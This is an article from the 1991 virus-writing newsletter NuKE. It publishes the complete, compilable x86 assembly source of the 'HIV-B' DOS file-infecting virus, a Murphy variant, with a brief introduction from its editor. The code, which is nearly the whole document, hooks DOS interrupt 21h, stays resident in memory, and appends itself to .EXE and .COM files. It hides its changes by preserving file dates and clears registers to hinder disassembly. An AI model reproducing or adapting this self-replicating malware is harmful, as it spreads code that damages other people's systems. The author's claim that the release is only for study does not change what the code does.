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NuKE Issue 01-022
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> HIV Virus Source :
HIV - VIRUS
Created: March 1991
Scan ID: [Murphy]
Origin: Italy ,"Italain Virus Laboratory!"
Sources: Produced by Rock Steady [NukE]
[NukE] Notes: Okay, another VIRUS SOURCE Release from [NukE]! Yup,
~~~~~~~~~~~~~ Anywayz, this Virus cums from the Murphy Virus! So
if you Scan it with SCAN McAfee & Ass. you will see that it will be
detected as the [Murphy] Virus! I got this Virus from Italy from the
"Italian Virus Laboratory!" Mind you this Virus Source is being
released to the public because it's an OLD Virus and is detectable!
and doesn't do any damage to the system! This virus was edited by
me, I removed some bugs inside and produced this SOURCE CODE ONLY!
[NOTE] Of course, this virus is ONLY for STUDYING, to learn on how
virus are made! After the viruses are old its NICE to release them so
people can study em!
HOW THE HIV - VIRUS WORKS
First, I'd like to thanx all those that thanked me for my latest
Virus! (ParaSite Virus)! And I'm glad to say I'll be releasing the
Source Codes to this virus in 6 MONTHS! Hopefully, by that time it
will be Detected by SCAN (McAfee & Ass) and yall will get a chance
to study this Assome Virus made totally from me...
HIV -: This virus Spreads thru coping itself to .EXE and .COM Files!
~~~~~~ You will notice the file gets larger by 1614 Bytes! The Virus
Hooks itself to Interrup 21h and totally system memory will be 1632
Bytes Less. Once the file is resident in Memory it will attach itself
to every file that is runned or opened! The date of the original file
Doesn't not change! All this virus does is Copy itself over and over
again! CleanUp V77+ will get rid of it...or Simple delete all files
Infected with the virus...Anywayz Enjoy...
NOTE: If you want to compile the source, simply look for it in the .TXT files
contained in DATA.EXE in this newsletter package.
DATA_1E EQU 4CH ; Just a Few Data Segments that are
DATA_3E EQU 84H ; Needed for the virus to find some
DATA_5E EQU 90H ; hard core info...
DATA_7E EQU 102H
DATA_8E EQU 106H
DATA_9E EQU 122H
DATA_10E EQU 124H
DATA_11E EQU 15AH
DATA_12E EQU 450H
DATA_13E EQU 462H
DATA_14E EQU 47BH
DATA_15E EQU 0
DATA_16E EQU 1
DATA_17E EQU 2
DATA_18E EQU 6
DATA_42E EQU 0FB2CH
DATA_43E EQU 0FB2EH
DATA_44E EQU 0FB4BH
DATA_45E EQU 0FB4DH
DATA_46E EQU 0FB83H
DATA_47E EQU 0FB8DH
DATA_48E EQU 0FB8FH
DATA_49E EQU 0FB95H
DATA_50E EQU 0FB97H
DATA_51E EQU 0
DATA_52E EQU 2
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h ; Compile this to a .COM file!
; So the Virus starts at 0100h
HIV PROC FAR
START:
JMP LOC_35
DB 0C3H
DB 23 DUP (0C3H)
DB 61H, 6EH, 74H, 69H, 64H, 65H
DB 62H, 0C3H, 0C3H, 0C3H, 0C3H
DB 'HIV-B Virus - Release 1.1 [NukE]'
DB ' '
copyright DB '(C) Edited by Rock Steady [NukE]'
DB 0, 0
DATA_24 DW 0
DATA_25 DW 0
DATA_26 DW 0
DATA_27 DW 706AH
DATA_28 DD 00000H
DATA_29 DW 0
DATA_30 DW 706AH
DATA_31 DD 00000H
DATA_32 DW 0
DATA_33 DW 706AH
DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
DB 'Edited by Rock Steady [NukE]', 0AH, 0DH
DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
DB '$'
DB 0E8H, 83H, 3, 3DH, 4DH, 4BH
DB 75H, 9, 55H, 8BH, 0ECH, 83H
DB 66H, 6, 0FEH, 5DH, 0CFH, 80H
DB 0FCH, 4BH, 74H, 12H, 3DH, 0
DB 3DH, 74H, 0DH, 3DH, 0, 6CH
DB 75H, 5, 80H, 0FBH, 0, 74H
DB 3
LOC_1:
JMP LOC_13
LOC_2:
PUSH ES ; Save All Regesters so that when
PUSH DS ; we restore the program it will
PUSH DI ; RUN correctly and hide the fact
PUSH SI ; that any Virii is tampering with
PUSH BP ; the System....
PUSH DX
PUSH CX
PUSH BX
PUSH AX
CALL SUB_6
CALL SUB_7
CMP AX,6C00H
JNE LOC_3 ; Jump if not equal
MOV DX,SI
LOC_3:
MOV CX,80H
MOV SI,DX
LOCLOOP_4:
INC SI ; Slowly down the System a
MOV AL,[SI] ; little.
OR AL,AL ; Zero ?
LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0
SUB SI,2
CMP WORD PTR [SI],4D4FH
JE LOC_7 ; Jump if equal
CMP WORD PTR [SI],4558H
JE LOC_6 ; Jump if equal
LOC_5:
JMP SHORT LOC_12 ;
DB 90H
LOC_6:
CMP WORD PTR [SI-2],452EH
JE LOC_8 ; Jump if equal
JMP SHORT LOC_5 ;
LOC_7:
NOP
CMP WORD PTR [SI-2],432EH
JNE LOC_5 ; Jump if not equal
LOC_8:
MOV AX,3D02H
CALL SUB_5
JC LOC_12 ; Jump if carry Set
MOV BX,AX
MOV AX,5700H
CALL SUB_5 ; Initsilize the virus...
MOV CS:DATA_24,CX ; A Basic Start up to check
MOV CS:DATA_25,DX ; The Interrup 21h
MOV AX,4200H
XOR CX,CX
XOR DX,DX
CALL SUB_5
PUSH CS
POP DS
MOV DX,103H
MOV SI,DX
MOV CX,18H
MOV AH,3FH
CALL SUB_5
JC LOC_10 ; Jump if carry Set
CMP WORD PTR [SI],5A4DH
JNE LOC_9 ; Jump if not equal
CALL SUB_1
JMP SHORT LOC_10
LOC_9:
CALL SUB_4
LOC_10:
JC LOC_11 ; Jump if carry Set
MOV AX,5701H
MOV CX,CS:DATA_24
MOV DX,CS:DATA_25
CALL SUB_5
LOC_11:
MOV AH,3EH ; '>'
CALL SUB_5
LOC_12:
CALL SUB_7
POP AX ; A Stealth Procedure to
POP BX ; end the virus and restore
POP CX ; the program! Pup back all
POP DX ; regesters as we found them!
POP BP ; so nothings changed...
POP SI
POP DI
POP DS
POP ES
LOC_13:
JMP CS:DATA_28
DB 0B4H, 2AH, 0CDH, 21H, 0C3H
HIV ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_1 PROC NEAR ; Start of the Virus!
MOV AH,2AH ; Get the Date system Date!
INT 21H ; If its Friday Display the
; message at Data34 and End!
CMP AL,6
JE LOC_15 ; If Friday display message
JNZ LOC_14 ; If not continue infecting
LOC_14: ; and screwing the system!
MOV CX,[SI+16H]
ADD CX,[SI+8]
MOV AX,10H
MUL CX ; dx:ax = reg * ax
ADD AX,[SI+14H]
ADC DX,0
PUSH DX
PUSH AX
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
CMP DX,0
JNE LOC_16 ; Jump if not equal
CMP AX,64EH
JAE LOC_16 ; Jump if above or =
POP AX
POP DX
STC ; Set carry flag
RETN
LOC_15:
MOV DX,OFFSET DATA_34+18H ; Display Message at Data34!
MOV AH,9 ; With New Offset Address in
INT 21H ; memory!
;
POP AX ; Restore all Regesters as if
POP BX ; nothing was changed and exit
POP CX ; virus and run File...
POP DX
POP SI
POP DI
POP BP
POP DS
POP ES
MOV AH,0 ; Exit Virus if your in a .EXE
INT 21H ; File!!!
; Exit virus if your in a .COM
INT 20H ; File!!!
LOC_16:
MOV DI,AX
MOV BP,DX
POP CX
SUB AX,CX
POP CX
SBB DX,CX
CMP WORD PTR [SI+0CH],0
JE LOC_RET_19 ; Jump if equal
CMP DX,0
JNE LOC_17 ; Jump if not equal
CMP AX,64EH
JNE LOC_17 ; Jump if not equal
STC ; Set carry flag
RETN
LOC_17:
MOV DX,BP
MOV AX,DI
PUSH DX
PUSH AX
ADD AX,64EH
ADC DX,0
MOV CX,200H
DIV CX ; Find out How much System
LES DI,DWORD PTR [SI+2] ; memory is available...
MOV CS:DATA_26,DI ;
MOV CS:DATA_27,ES ; Every so often make the
MOV [SI+2],DX ; system memory small than
CMP DX,0 ; what it already is...
JE LOC_18 ; Screws up the users hehe
INC AX
LOC_18:
MOV [SI+4],AX
POP AX
POP DX
CALL SUB_2
SUB AX,[SI+8]
LES DI,DWORD PTR [SI+14H]
MOV DS:DATA_9E,DI
MOV DS:DATA_10E,ES
MOV [SI+14H],DX ; Tie up some memory!
MOV [SI+16H],AX ; release it on next execution
MOV DS:DATA_11E,AX ; Jump to su routine to do
MOV AX,4202H ; this and disable interrups
XOR CX,CX
XOR DX,DX
CALL SUB_5
CALL SUB_3
JC LOC_RET_19
MOV AX,4200H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
MOV AH,40H
MOV DX,SI
MOV CX,18H
CALL SUB_5
LOC_RET_19:
RETN
SUB_1 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_2 PROC NEAR
MOV CX,4
MOV DI,AX
AND DI,0FH
LOCLOOP_20:
SHR DX,1 ; Shift w/zeros fill
RCR AX,1 ; Rotate thru carry
LOOP LOCLOOP_20 ; Loop if cx > 0
MOV DX,DI
RETN
SUB_2 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_3 PROC NEAR
MOV AH,40H
MOV CX,64EH
MOV DX,100H
CALL SUB_6
JMP SHORT LOC_24
DB 90H
;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_4:
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
CMP AX,64EH
JB LOC_RET_23 ; Jump if below
CMP AX,0FA00H
JAE LOC_RET_23 ; Jump if above or =
PUSH AX
CMP BYTE PTR [SI],0E9H
JNE LOC_21 ; Jump if not equal
SUB AX,651H
CMP AX,[SI+1]
JNE LOC_21 ; Jump if not equal
POP AX
STC ; Set carry flag
RETN
LOC_21:
CALL SUB_3
JNC LOC_22 ; Jump if carry=0
POP AX
RETN
LOC_22:
MOV AX,4200H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
POP AX
SUB AX,3
MOV DX,122H
MOV SI,DX
MOV BYTE PTR CS:[SI],0E9H
MOV CS:[SI+1],AX
MOV AH,40H
MOV CX,3
CALL SUB_5
LOC_RET_23:
RETN
SUB_3 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_5 PROC NEAR
LOC_24:
PUSHF ; Push flags
CALL CS:DATA_28
RETN
SUB_5 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_6 PROC NEAR
PUSH AX
PUSH DS
PUSH ES
XOR AX,AX ; Zero register
PUSH AX
POP DS
CLI ; Disable the interrupts
LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
MOV CS:DATA_29,AX ; to the COM File...
MOV CS:DATA_30,ES
MOV AX,46AH
MOV DS:DATA_5E,AX
MOV WORD PTR DS:DATA_5E+2,CS
LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
MOV CS:DATA_32,AX ; get your info needed on
MOV CS:DATA_33,ES ; System...
LES AX,CS:DATA_31
MOV DS:DATA_1E,AX
MOV WORD PTR DS:DATA_1E+2,ES
STI ; Enable the interrupts
POP ES ; and restore regesters!
POP DS ; go back to the file
POP AX ; being executed...
RETN
SUB_6 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_7 PROC NEAR
PUSH AX
PUSH DS
PUSH ES
XOR AX,AX ; Zero register
PUSH AX
POP DS
CLI ; Disable interrupts
LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
MOV DS:DATA_5E,AX ; yourself to the EXE
MOV WORD PTR DS:DATA_5E+2,ES
LES AX,DWORD PTR CS:DATA_32
MOV DS:DATA_1E,AX
MOV WORD PTR DS:DATA_1E+2,ES
STI ; Enable interrupts
POP ES
POP DS
POP AX
RETN
SUB_7 ENDP
DB 0B0H, 3, 0CFH, 50H, 53H, 51H
DB 52H, 56H, 57H, 55H, 1EH, 6
DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH
DB 62H, 4, 0A1H, 50H, 4, 2EH
DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
DB 4, 0A3H, 50H, 4, 2EH, 0A1H
DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9
DB 0B9H, 1, 0, 0CDH, 10H, 0E8H
DB 34H, 0, 0E8H, 0B7H, 0, 2EH
DB 0A1H, 0C7H, 4, 0A3H, 50H, 4
DB 0B3H, 2, 0B8H, 2, 9, 0B9H
DB 1, 0, 0CDH, 10H, 2EH, 0A1H
DB 0CEH, 4, 0A3H, 50H, 4, 7
DB 1FH
DB ']_^ZY[X.'
DB 0FFH, 2EH, 0CAH, 4
DATA_36 DW 0
DATA_37 DW 1010H
DATA_39 DB 0
DATA_40 DD 706A0000H
DB 0, 0, 2EH, 0A1H, 0C7H, 4
DB 8BH, 1EH, 4AH, 4, 4BH, 2EH
DB 0F6H, 6, 0C9H, 4, 1, 74H
DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH
DB 80H, 36H, 0C9H, 4, 1, 0EBH
DB 0AH
LOC_25:
CMP AL,0
JG LOC_26 ; Jump if >
XOR CS:DATA_39,1
LOC_26:
TEST CS:DATA_39,2
JZ LOC_27 ; Jump if zero
CMP AH,18H
JB LOC_28 ; Jump if below
XOR CS:DATA_39,2
JMP SHORT LOC_28
LOC_27:
CMP AH,0
JG LOC_28 ; Jump if >
XOR CS:DATA_39,2
LOC_28:
CMP BYTE PTR CS:DATA_36,20H
JE LOC_29 ; Jump if equal
CMP BYTE PTR CS:DATA_37+1,0
JE LOC_29 ; Jump if equal
XOR CS:DATA_39,2
LOC_29:
TEST CS:DATA_39,1
JZ LOC_30 ; Jump if zero
INC BYTE PTR CS:DATA_37
JMP SHORT LOC_31
LOC_30:
DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H)
LOC_31:
TEST CS:DATA_39,2 ; (706A:04C9=0)
JZ LOC_32 ; Jump if zero
INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
JMP SHORT LOC_RET_33 ; (0555)
LOC_32:
DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
LOC_RET_33:
RETN
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_8 PROC NEAR
MOV AX,CS:DATA_37
MOV DS:DATA_12E,AX ; Get info on type of Video
MOV BH,DS:DATA_13E ; Display the system has...
MOV AH,8
INT 10H ; with ah=functn 08h
; basically fuck the cursur..
MOV CS:DATA_36,AX
RETN
SUB_8 ENDP
DB 50H, 53H, 51H, 52H, 56H, 57H
DB 55H, 1EH, 6, 33H, 0C0H, 50H
DB 1FH, 81H, 3EH, 70H, 0, 6DH
DB 4, 74H, 35H, 0A1H, 6CH, 4
DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH
DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0
DB 75H, 24H, 0FAH, 8BH, 2EH, 50H
DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH
DB 50H, 4, 0C4H, 6, 70H, 0
DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH
DB 6, 0CCH, 4, 0C7H, 6, 70H
DB 0, 6DH, 4, 8CH, 0EH, 72H
DB 0, 0FBH
LOC_34:
POP ES
POP DS ; Restore and get lost...
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RETN
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_9 PROC NEAR
MOV DX,10H
MUL DX ; dx:ax = reg * ax
RETN
SUB_9 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_10 PROC NEAR
XOR AX,AX ; If if wants to dissamble
XOR BX,BX ; us give him a HARD time...
XOR CX,CX ; By making all into 0
XOR DX,DX ; Zero register
XOR SI,SI ; Zero register
XOR DI,DI ; Zero register
XOR BP,BP ; Zero register
RETN
SUB_10 ENDP
LOC_35:
PUSH DS
CALL SUB_11
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_11 PROC NEAR
MOV AX,4B4DH
INT 21H ; Load and EXEC file...
; be runned...
NOP
JC LOC_36 ; Jump if carry Set
JMP LOC_46
LOC_36:
POP SI
PUSH SI
MOV DI,SI
XOR AX,AX ; Zero register
PUSH AX
POP DS
LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
MOV CS:DATA_49E[SI],AX ; Move lots of data
MOV CS:DATA_50E[SI],ES ; into CS to infect the file
LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
MOV CS:DATA_47E[DI],BX
MOV CS:DATA_48E[DI],ES
MOV AX,DS:DATA_7E
CMP AX,0F000H
JNE LOC_44 ; Jump if not equal
MOV DL,80H
MOV AX,DS:DATA_8E
CMP AX,0F000H
JE LOC_37 ; Jump if equal
CMP AH,0C8H
JB LOC_44 ; Jump if below
CMP AH,0F4H
JAE LOC_44 ; Jump if above or =
TEST AL,7FH
JNZ LOC_44 ; Jump if not zero
MOV DS,AX
CMP WORD PTR DS:DATA_51E,0AA55H
JNE LOC_44 ; Jump if not equal
MOV DL,DS:DATA_52E
LOC_37:
MOV DS,AX
XOR DH,DH ; Zero register
MOV CL,9
SHL DX,CL ; Shift w/zeros fill
MOV CX,DX
XOR SI,SI ; Zero register
LOCLOOP_38:
LODSW ; String [si] to ax
CMP AX,0FA80H
JNE LOC_39 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,7380H
JE LOC_40 ; Jump if equal
JNZ LOC_41 ; Jump if not zero
LOC_39:
CMP AX,0C2F6H
JNE LOC_42 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,7580H
JNE LOC_41 ; Jump if not equal
LOC_40:
INC SI
LODSW ; String [si] to ax
CMP AX,40CDH
JE LOC_43 ; Jump if equal
SUB SI,3
LOC_41:
DEC SI
DEC SI
LOC_42:
DEC SI
LOOP LOCLOOP_38 ; Loop if cx > 0
JMP SHORT LOC_44
LOC_43:
SUB SI,7
MOV CS:DATA_49E[DI],SI
MOV CS:DATA_50E[DI],DS
LOC_44:
MOV AH,62H
INT 21H ; Simple...Get the PSP
; Address (Program segment
MOV ES,BX ; address and but in BX)
MOV AH,49H
INT 21H ; Get the Free memory from
; the system
MOV BX,0FFFFH ; release extra memory blocks
MOV AH,48H
INT 21H ; Allocate the memory
; At BX (# bytes)
SUB BX,66H ; it attaches virus right
NOP ; under the 640k
JC LOC_46
MOV CX,ES ; did it work? If not just
STC ; end the virus...
ADC CX,BX
MOV AH,4AH
INT 21H ; Adjust teh memory block
; size! BX has the # of bytes
MOV BX,65H
STC ; Set carry flag
SBB ES:DATA_17E,BX ; Where to attach itself!
PUSH ES ; under 640K
MOV ES,CX
MOV AH,4AH
INT 21H ; Just change the memory
; allocations! (BX=Btyes Size)
MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k
CALL SUB_9
MOV BX,AX
MOV CX,DX
POP DS
MOV AX,DS
CALL SUB_9
ADD AX,DS:DATA_18E
ADC DX,0
SUB AX,BX
SBB DX,CX
JC LOC_45 ; Jump if carry Set
SUB DS:DATA_18E,AX
LOC_45:
MOV SI,DI
XOR DI,DI ; Zero register
PUSH CS
POP DS
SUB SI,4D7H
MOV CX,64EH
INC CX
REP MOVSB ; Rep when cx >0 Mov [si] to
MOV AH,62H ; es:[di]
INT 21H ; Get the Program segment
; prefix...so we can infect it
DEC BX
MOV DS,BX
MOV BYTE PTR DS:DATA_15E,5AH
MOV DX,1E4H
XOR AX,AX ; Zero register
PUSH AX
POP DS
MOV AX,ES
SUB AX,10H
MOV ES,AX
CLI ; Disable interrupts
MOV DS:DATA_3E,DX ;
MOV WORD PTR DS:DATA_3E+2,ES
STI ; Enable interrupts
DEC BYTE PTR DS:DATA_14E ;
LOC_46:
POP SI
CMP WORD PTR CS:DATA_42E[SI],5A4DH
JNE LOC_47 ; Jump if not equal
POP DS
MOV AX,CS:DATA_46E[SI]
MOV BX,CS:DATA_45E[SI] ; all this shit is to restore
PUSH CS ; the program and continue
POP CX ; running the original
SUB CX,AX ; program...
ADD CX,BX
PUSH CX
PUSH WORD PTR CS:DATA_44E[SI]
PUSH DS
POP ES
CALL SUB_10
RETF
LOC_47:
POP AX
MOV AX,CS:DATA_42E[SI]
MOV WORD PTR CS:[100H],AX
MOV AX,CS:DATA_43E[SI]
MOV WORD PTR CS:[102H],AX
MOV AX,100H
PUSH AX
PUSH CS
POP DS
PUSH DS
POP ES
CALL SUB_10
RETN
SUB_11 ENDP
SEG_A ENDS
END START
Rock Steady [NuKE]
